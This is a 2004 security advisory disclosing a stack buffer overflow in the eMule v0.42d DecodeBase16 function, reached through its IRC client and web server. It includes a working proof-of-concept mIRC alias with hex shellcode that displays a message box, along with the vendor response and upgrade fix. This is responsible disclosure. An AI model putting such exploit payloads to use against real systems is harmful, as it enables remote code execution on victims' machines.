<<< Date Index >>>     <<< Thread Index >>>

eMule v0.42d Buffer Overflow




eMule v0.42d Buffer Overflow

Description
-----------

A vulnerability exists in eMule v0.42d (and probably earlier versions)
in the DecodeBase16(...) function. This function takes an hexadecimal
string, its length, and a destination buffer (on the stack) as
parameters. The function decodes whatever is supplied, no length check
is performed on the string nor on the buffer, leading to a possible
stack overflow.

The function is called 5 times in the code: 3 times in the web server
(which may require authentication) and 2 times in the IRC client (not
connected by default).

 uchar userid[16];
 DecodeBase16(hash.GetBuffer(),hash.GetLength(),userid);

Proof of concept
----------------

Bourriquet is an mIRC alias exploiting this overflow in v0.42d via the
SENDLINK command, it calls MessageBoxA (to display 'Patch your eMule !')
and then ExitProcess :

/bourriquet { .quote PRIVMSG $1
$+(:,$chr(1),SENDLINK|,90909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090EB0790907AF65700906681EC400031C96820210000684D756C656875722065686820796F685061746389E2515152513EFF15C0E76100503EFF1568E461009090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090,|,$chr(1))
}

Developer response
------------------

The flaw was reported to bluecow from the eMule Team on March, 30th
2004 on IRC. He stated the issue would be patched in the upcoming eMule
release, available here:
http://www.emule-project.net/home/perl/news.cgi?l=1&cat_id=22

An effort was also done in changing the IRC server address and kicking
out vulnerable clients (nice work :)

Solution/Workaround
-------------------

The following options are available:
- upgrade to eMule version 0.42e,
- do not use the eMule web server and IRC client,
- uninstall eMule :)

Credits
-------

The vulnerability was discovered by Kostya Kortchinsky, from CERT
RENATER, on March 24th 2004, following a FHP meeting and a remark from
nico : "eMule and all these P2P tools are better than VNC to get remote
access to a box".

Greetings to the people of the French Honeynet Project, MISC Magazine
and #fee1dead@EFnet.

Advertising
-----------

CanSecWest/core04 : Top security experts. Cutting edge techniques and
information.
 Vancouver, Canada - April 21-23 2004 - http://cansecwest.com

Symposium sur la Sécurité des Technologies de l'Information et des
Communications
 Rennes, France - June 2-4 2004 - http://sstic.org

See you there,

Kostya.